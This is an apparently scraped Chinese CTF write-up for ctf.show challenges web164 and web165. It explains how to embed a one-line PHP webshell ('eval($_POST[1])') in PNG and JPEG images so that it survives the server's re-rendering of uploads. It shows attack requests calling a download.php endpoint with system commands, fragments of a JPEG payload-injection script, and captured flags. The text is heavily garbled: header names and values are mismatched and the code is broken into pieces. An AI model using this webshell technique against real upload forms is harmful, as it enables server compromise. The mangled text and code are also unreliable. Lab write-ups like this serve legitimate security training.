jpg

网站服务器会对上传的图片进行二次处理对文件内容进行替换更新根据原有图片生成一个新的图片这样就会改变文件原有的一些内容我们需要将一句话木马插入到数据不会被改变的位置确保一句话木马不会受到二次渲染的影响。

1、web164

b/var/www/html/upload/b62bc6b55a1f2b368380dc1fbea2e71b.png

system

/download.php?image8b55fd4ed5b3ea99cdab4f296c58c31e.png0system

HTTP/1.1

https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show

Content-Type:

application/x-www-form-urlencoded

User-Agent:

text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7

Sec-Fetch-Site:

https://12e7667e-389f-45a8-ab1a-cfc3c0a4e938.challenge.ctf.show/download.php?image8b55fd4ed5b3ea99cdab4f296c58c31e.png

Accept-Encoding:

zh-CN,zh;q0.9,en;q0.8,en-GB;q0.7,en-US;q0.6

Cookie:

cf_clearancezOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1ls

POST

/download.php?imagedb94064d6001c8ebbd832d00f278f83f.png0system

HTTP/1.1

text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7

Sec-Fetch-Site:

https://43c4f510-9863-431a-b391-24ee2c8482da.challenge.ctf.show/

Accept-Encoding:

zh-CN,zh;q0.9,en;q0.8,en-GB;q0.7,en-US;q0.6

Cookie:

cf_clearancezOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q1ls

没有回显

application/x-www-form-urlencoded

回显正常

ctfshow{7ee33e2a-9fb7-48b3-a089-be283761f45e}

2、web165

also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload

?eval(\$_POST[1]);?;

//注意$转义if(!extension_loaded(gd)

!function_exists(imagecreatefromjpeg))

{die(php-gd

installed);}if(!isset($argv[1]))

{die(php

jpg_name.jpg);}set_error_handler(custom_error_handler);for($pad

$pad

DataInputStream($argv[1]);$outStream

file_get_contents($argv[1]);$extraBytes

0;$correctImage

str_repeat(\0,$nullbytePayloadSize)

substr($outStream,

$startPos);checkImage(_.$argv[1],

$outStreamTmp,

substr(str_repeat(\0,$nullbytePayloadSize).substr($outStream,

$startPos,

$imageStreamSize),0,$nullbytePayloadSize$imageStreamSize-$extraBytes)

substr($outStream,

{break;}if(checkImage(payload_.$argv[1],

$outStream))

{break;}}}}unlink(payload_.$argv[1]);die(Something\s

wrong);function

$correctImage;file_put_contents($filename,

$data);$correctImage

TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return

$errstr,

!$this-binData||(strlen($this-binData)

0);}}

图片上传让服务器对其进行一次二次渲染我们下载经过二次渲染后的图片用渲染后的图片通过脚本来插入我们的

左边是原始的图片右边新下载的经过渲染后的图片注意在此之前我们都还未使用过脚本

注意使用

flagctfshow{ed42497e-5afd-4e1a-82cd-3dfa3426091d}